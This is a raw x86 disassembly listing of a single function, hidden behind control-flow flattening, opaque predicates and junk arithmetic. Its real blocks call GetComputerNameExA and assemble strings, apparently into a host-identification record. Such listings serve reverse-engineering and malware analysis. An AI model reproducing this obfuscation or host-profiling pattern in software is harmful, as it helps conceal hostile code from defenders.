jmp 0x439de4
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0x60f7684c
jmp 0x439de4
imul eax, dword [esi + 8], 0x1b000
add eax, 0x1290000
mov dword [esi + 8], eax
push 0x124a
push eax
push 0x632e
call fcn.0042a26c
add esp, 0xc
call fcn.00408d96
mov dword [esi + 4], 0x27da3245
jmp 0x439de4
push dword [esi + 0x1f4]
push dword [esi + 0x10]
push dword [esi + 0x74]
push dword [ebp + 8]
call fcn.00424263
add esp, 0x10
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0xb853afcd
jmp 0x439de4
push dword [esi + 0x90]
push 0xa2f80070
call fcn.00442630
add esp, 8
lea ecx, [esi + 0x124]
push ecx
push dword [esi + 0x10c]
call eax
mov eax, dword [esi + 0x28]
sub esp, 8
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 4], 0xb6fc958b
jmp 0x439de4
mov ebx, dword [esi + 8]
mov eax, ebx
shr eax, 2
add eax, 0x16
mov dword [esi + 8], eax
call fcn.00408d96
call fcn.00408d96
mov eax, 0xbb90c67c
cmp ebx, 0x1ec
jae 0x43dd81
mov eax, 0x5ff14786
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0x9696d002
jmp 0x439de4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x5d]
imul eax, eax
imul edx, eax, 0x1c19
dec edx
shl ecx, 0xc
add ecx, 0xfff7f000
mov dword [esi + 0xc], ecx
mov ecx, 0x6508c43c
cmp edx, eax
je 0x43ddd1
mov ecx, 0xd3246476
mov dword [esi + 4], ecx
jmp 0x439de4
mov dword [esi + 4], 0x46d6d1cb
jmp 0x439de4
imul ebx, dword [esi + 8], 0x75
add ebx, 0x4cc8
mov dword [esi + 8], ebx
push ebx
push 0x145d
push 0x6249
push 0x1c44
call fcn.0043eb40
add esp, 0x10
push 0x1290
push 0x37c2
push 0x5715
push ebx
call fcn.0043eb40
add esp, 0x10
mov eax, 0xbb90c67c
cmp ebx, 0xee
je 0x43de34
mov eax, 0x3e11c0be
mov dword [esi + 4], eax
jmp 0x439de4
push 1
push 0x55
call fcn.00457663
add esp, 8
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0xb868d1be
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x66000
add eax, 0xd26000
shr eax, 6
imul eax, eax, 0x4080
add eax, 0xffe0c200
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x51d32d19
jmp 0x439de4
push 0xa
push dword [esi + 0x120]
push dword [esi + 0x1f0]
call fcn.00455cb8
add esp, 0xc
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0xd6aa9c87
jmp 0x439de4
push dword [esi + 0x18]
push dword [esi + 0x3c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0x4d332d52
jmp 0x439de4
imul eax, dword [esi + 8], 0xee
add eax, 0x70
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe88a10db
jmp 0x439de4
mov dword [esi + 4], 0x38e745d6
jmp 0x439de4
push 6
push 0x47b274
push 0x14
push dword [esi + 0xb8]
call fcn.0043ec70
add esp, 0x10
push 0x15
push dword [esi + 0xb8]
push dword [esi + 0x5c]
call fcn.00447850
add esp, 0xc
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x104]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0x78f3693f
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x4c000
mov ecx, eax
shr ecx, 0xa
shr eax, 4
add eax, ecx
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x9e3e6a69
jmp 0x439de4
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x6f]
imul ecx, ecx
imul edx, ecx, 0x447d
dec edx
add eax, 0xfffffe90
mov dword [esi + 0xc], eax
mov eax, 0x42bd2fc1
cmp edx, ecx
je 0x43df96
mov eax, 0xe0196d78
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 0xe
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3d4f
dec edx
shl eax, 0xf
add eax, 0x3a8000
shr eax, 0xb
mov dword [esi + 0xc], eax
mov eax, 0xad6c71dc
cmp ecx, edx
je 0x43dfcc
mov eax, 0x3f91de98
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0x7e308d03
jmp 0x439de4
mov eax, dword [esi + 0x1ec]
mov word [eax], 0xa
mov dword [esi + 4], 0xf7d2225a
jmp 0x439de4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb0], eax
mov dword [esi + 4], 0xc3ca6584
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0xffffffb4
mov dword [esi + 8], eax
call fcn.00408d96
mov dword [esi + 4], 0x1300cda0
jmp 0x439de4
push 0x18
push 0x46eef0
push dword [esi + 0x90]
call fcn.00447850
add esp, 0xc
push 7
push 0x46ef08
push 0xc
push dword [esi + 0x90]
call fcn.0043eb40
add esp, 0x10
mov dword [esi + 4], 0xfddc0a35
jmp 0x439de4
imul edi, dword [esi + 8], 0x3a80
shr edi, 8
lea eax, [edi + edi*4]
lea eax, [eax + eax*2]
mov dword [esi + 8], eax
push eax
call fcn.00439dcc
add esp, 4
mov eax, 0x63ec7fa0
cmp edi, 9
je 0x43e08f
mov eax, 0x63338662
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x84]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x6974e1de
jmp 0x439de4
push dword [esi + 0x18]
push dword [esi + 0x44]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x48]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xa4], eax
mov dword [esi + 4], 0x1d34faff
jmp 0x439de4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0xb8]
add eax, 0x14
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0xda81f155
jmp 0x439de4
imul eax, dword [esi + 0xc], 0xd3
add eax, 0xffff7cf3
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6f31
shl eax, 4
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x2914cedd
cmp ecx, edx
je 0x43e13a
mov eax, 0x1fb4c7e1
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0x44a8ae69
jmp 0x439de4
mov eax, 2
push eax
push 0x47b18e
push eax
push dword [esi + 0x8c]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x8c]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.00457663
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0xa54e5c91
jmp 0x439de4
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x12b4627a
jmp 0x439de4
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xbc], eax
mov eax, dword [esi + 0xbc]
mov word [eax + 0x18], 0
mov dword [esi + 4], 0xc5a14784
jmp 0x439de4
imul ecx, dword [esi + 8], 0x32
add ecx, 0xa3
shr ecx, 0xf
and ecx, 0xffffffe0
mov dword [esi + 8], ecx
mov eax, 0xe6ea9729
cmp ecx, 0x4c
jae 0x43e1f6
mov eax, 0x3e11c0be
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0xadb398ad
jmp 0x439de4
mov ebx, dword [esi + 8]
shr ebx, 0xb
add ebx, 0x49
mov dword [esi + 8], ebx
push 0x27fb
push ebx
push 0x5622
push 0x4d74
call fcn.0043eb40
add esp, 0x10
push 0x3bc6
push 0x37e
push ebx
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], 0x716ba5cb
jmp 0x439de4
mov eax, dword [esi + 0x19c]
mov byte [eax], 0
push 0x14
push 0x47b260
push dword [esi + 0xb8]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0x44a5b3ed
jmp 0x439de4
push 0x14
push 0x46ee90
push dword [esi + 0x78]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0xeb8fa61f
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 8
and eax, 0x3ff00000
add eax, 0xffffff95
mov dword [esi + 8], eax
push 0x365a
push eax
push 0x16f4
push 0x1f9f
call fcn.0043eb40
add esp, 0x10
mov dword [esi + 4], 0x4859d937
jmp 0x439de4
mov ecx, dword [esi + 8]
mov eax, 0xf5
add ecx, eax
mov eax, ecx
shr eax, 9
add eax, 0xc
mov dword [esi + 8], eax
mov eax, 0xb7228b91
cmp ecx, 0x12200
jb 0x43e2f1
mov eax, 0x42bd2fc1
mov dword [esi + 4], eax
jmp 0x439de4
mov edi, dword [esi + 8]
mov eax, 0xd6
add edi, eax
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
mov eax, 0x38777f9f
cmp edi, 0x86
jae 0x43e321
mov eax, 0x8a871d56
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xb4]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xb4]
mov ecx, dword [0x47b249]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b245]
mov dword [eax], ecx
push 7
push 0x47b24d
push 8
push dword [esi + 0xb4]
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0xf34aba5
jmp 0x439de4
mov ebx, dword [esi + 8]
shl ebx, 3
and ebx, 0x1fffff8
lea eax, [ebx + 0xe6]
shr eax, 4
mov dword [esi + 8], eax
call fcn.00408d96
mov eax, 0x9187a371
cmp ebx, 0x27a
jae 0x43e39c
mov eax, 0x6508c43c
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 8]
shr eax, 2
imul edi, eax, 0xf6
add edi, 0xfffe2080
mov dword [esi + 8], edi
call fcn.00408d96
mov eax, 0x8a09f1a1
cmp edi, 0x2a
jge 0x43e3cd
mov eax, 0xbb90c67c
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0x3c48eef2
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0x50f6e66b
jmp 0x439de4
mov dword [esi + 4], 0xdf1a8d80
jmp 0x439de4
push dword [esi + 0x198]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x5c84e850
jmp 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 6
add eax, 0x3080
shr eax, 0xb
add eax, 0x7c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xac006f05
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 0x14
and eax, 0x1ff
imul eax, eax, 0xce
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x87e8b295
jmp 0x439de4
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x2de43c62
jmp 0x439de4
push 0x55
push dword [esi + 0x118]
push dword [esi + 0x11c]
call fcn.004599ff
add esp, 0xc
mov eax, dword [esi + 0x60]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 0xc0]
mov byte [eax + 0xc], 0
mov dword [esi + 4], 0x3753f3ee
jmp 0x439de4
mov eax, dword [esi + 0x84]
mov byte [eax + 0xb], 0
mov dword [esi + 4], 0x8456efa9
jmp 0x439de4
mov eax, dword [esi + 8]
shr eax, 6
imul edi, eax, 0x357e000
add edi, 0x45000
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
push 0x1355
push 0x479f
push edi
push 0x538f
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0xad664ca7
jmp 0x439de4
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
mov dword [esi + 4], 0x48c37501
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x4557
lea ecx, [eax + 0x97]
imul ecx, ecx
imul edx, ecx, 0x5629
dec edx
add eax, 0x40
mov dword [esi + 0xc], eax
mov eax, 0x91509484
cmp edx, ecx
je 0x43e54b
mov eax, 0x8cbc9033
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shld eax, ecx, 0x16
mov dword [esi + 0x1f0], eax
push 1
push 0xa
call fcn.00457663
add esp, 8
mov dword [esi + 0x120], eax
mov dword [esi + 4], 0x8b854bf1
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 5
add eax, 0xffffff86
shr eax, 0xc
mov ecx, eax
imul ecx, eax
add eax, 0x18
imul edx, ecx, 0x7021
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xd2b4bc12
cmp ecx, edx
je 0x43e5af
mov eax, 0x6fa6ffb7
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0x1deb4829
jmp 0x439de4
push 0x16
push dword [esi + 0x100]
push dword [esi + 0x74]
call fcn.00447850
add esp, 0xc
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x1f4], eax
mov dword [esi + 4], 0x5125f621
jmp 0x439de4
mov eax, dword [esi + 0x1d8]
mov ecx, dword [esi + 0x1e4]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1dc]
mov dword [eax + 0x28], ecx
mov dword [esi + 4], 0x9966aa01
jmp 0x439de4
mov eax, dword [esi + 8]
lea edi, [eax*4 + 0xe4]
mov dword [esi + 8], edi
push 0x4cf6
push 0x3b6
push 0x2d0a
push edi
call fcn.0043eb40
add esp, 0x10
mov eax, 0x6f1d3270
cmp edi, 0x36
jge 0x43e650
mov eax, 0xcc903aaa
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 8]
and eax, 0xffffff80
shl eax, 7
imul eax, eax, 0x61
add eax, 0xffffff9f
shr eax, 7
mov dword [esi + 8], eax
push 0x3309
push 0x2665
push 0x2b4
push eax
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0x99afacd4
jmp 0x439de4
mov dword [esi + 4], 0xa70b7a5f
jmp 0x439de4
mov eax, dword [esi + 0x1c8]
mov ecx, dword [esi + 0x1d0]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1cc]
mov dword [eax + 0x1c], ecx
mov dword [esi + 4], 0x99a5bf2a
jmp 0x439de4
push eax
push eax
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0x3e11c0be
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x1c]
push dword [esi + 0x1c]
call fcn.00444c24
add esp, 4
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0xc42db577
jmp 0x439de4
mov ecx, dword [esi + 8]
mov eax, 0xeb
add ecx, eax
shr ecx, 7
mov dword [esi + 8], ecx
mov eax, 0x4859d937
cmp ecx, 0x66
je 0x43e729
mov eax, 0x7ab738d1
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 0xa
lea ecx, [eax + 0xd2]
imul ecx, ecx
imul edx, ecx, 0x957
add eax, 0x114
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x8262104
cmp ecx, edx
je 0x43e75d
mov eax, 0xfee511af
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0xb4]
imul ecx, ecx
imul edx, ecx, 0x716d
dec edx
add eax, 0x78
mov dword [esi + 0xc], eax
mov eax, 0xaa1ae03
cmp ecx, edx
je 0x43e78c
mov eax, 0xf147251
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 8]
lea ecx, [eax*4 - 0x11c]
mov eax, ecx
shr eax, 0x12
add eax, 0x82
mov dword [esi + 8], eax
mov eax, 0x50f6e66b
cmp ecx, 0xa80000
jae 0x43e7bd
mov eax, 0xa236e535
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x158]
mov byte [eax], 0
mov eax, dword [esi + 0x98]
mov ecx, dword [0x47b19e]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b19a]
mov dword [eax], ecx
mov dword [esi + 4], 0xcca0ae10
jmp 0x439de4
mov dword [esi + 4], 0x4a68bd49
jmp 0x439de4
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x50e13ecb
jmp 0x439de4
mov eax, dword [esi + 0xf4]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xf4]
mov ecx, dword [0x47b294]
mov dword [eax + 8], ecx
mov ecx, dword [0x47b290]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b28c]
mov dword [eax], ecx
push 5
push 0x47b298
push 0xc
push dword [esi + 0xf4]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0xf4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x1e8], eax
mov dword [esi + 4], 0x61b129bd
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 7
and eax, 0x3fffff
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5e63
dec edx
add eax, 0xfe
mov dword [esi + 0xc], eax
mov eax, 0xa7992a69
cmp ecx, edx
je 0x43e902
mov eax, 0xd07c9f2c
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 5
and eax, 0x3ffffe0
imul eax, eax, 0x38e0
add eax, 0xffff9a70
mov dword [esi + 8], eax
mov dword [esi + 4], 0xd7f59a15
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x95
lea ecx, [eax + 6]
imul ecx, ecx
add eax, 0xffffff3d
imul edx, ecx, 0x797f
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x3e11c0be
cmp edx, ecx
je 0x43e959
mov eax, 0xf3e7f6a
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 8]
add eax, 0x6e
shr eax, 0xa
imul ebx, eax, 0x59
add ebx, 0xffffa916
mov dword [esi + 8], ebx
push 0x33c1
push 0x2c67
push ebx
push 0x3a91
call fcn.0043eb40
add esp, 0x10
push 0x5179
push 0x40c0
push 0x2b71
push ebx
call fcn.0043eb40
add esp, 0x10
mov eax, 0x99afacd4
cmp ebx, 0x51
jb 0x43e9b5
mov eax, 0xa42e360d
mov dword [esi + 4], eax
jmp 0x439de4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x1c]
add ecx, 0xa9
imul eax, eax
shr ecx, 0xf
imul edx, eax, 0x579b
add ecx, 0xffffff62
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x3f91de98
cmp edx, eax
je 0x43e9ed
mov ecx, 0x6bb23f40
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 0xc]
and eax, 0xfffffff0
shl eax, 0xa
or eax, 0x775
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5b5bca45
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0x414a9608
jmp 0x439de4
mov edi, dword [esi + 8]
add edi, 0x5d
mov dword [esi + 8], edi
call fcn.00408d96
mov eax, 0x2faba793
cmp edi, 0x8b
je 0x43ea4f
mov eax, 0x5c3dcc02
mov dword [esi + 4], eax
jmp 0x439de4
mov ebx, dword [esi + 8]
shr ebx, 0xe
mov dword [esi + 8], ebx
push 0x41e
push 0x1f42
push ebx
push 0x2592
call fcn.0043eb40
add esp, 0x10
mov eax, 0x9f118ce7
cmp ebx, 0x1b
je 0x43ea87
mov eax, 0xbb90c67c
mov dword [esi + 4], eax
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xf11269bb
jmp 0x439de4
mov eax, dword [esi + 0xc]
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*4]
add eax, ecx
add eax, 0xf5
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xbab04675
jmp 0x439de4
mov eax, dword [esi + 0x84]
mov cl, byte [0x47b16d]
mov byte [eax + 0xa], cl
movzx ecx, word [0x47b16b]
mov word [eax + 8], cx
mov ecx, dword [0x47b167]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b163]
mov dword [eax], ecx
push 8
push 0x47b16e
push 0xb
push dword [esi + 0x84]
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0xb7228b91
jmp 0x439de4
cmp eax, 0x2de43c62
jne 0x439de4
mov eax, dword [esi + 0x28]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret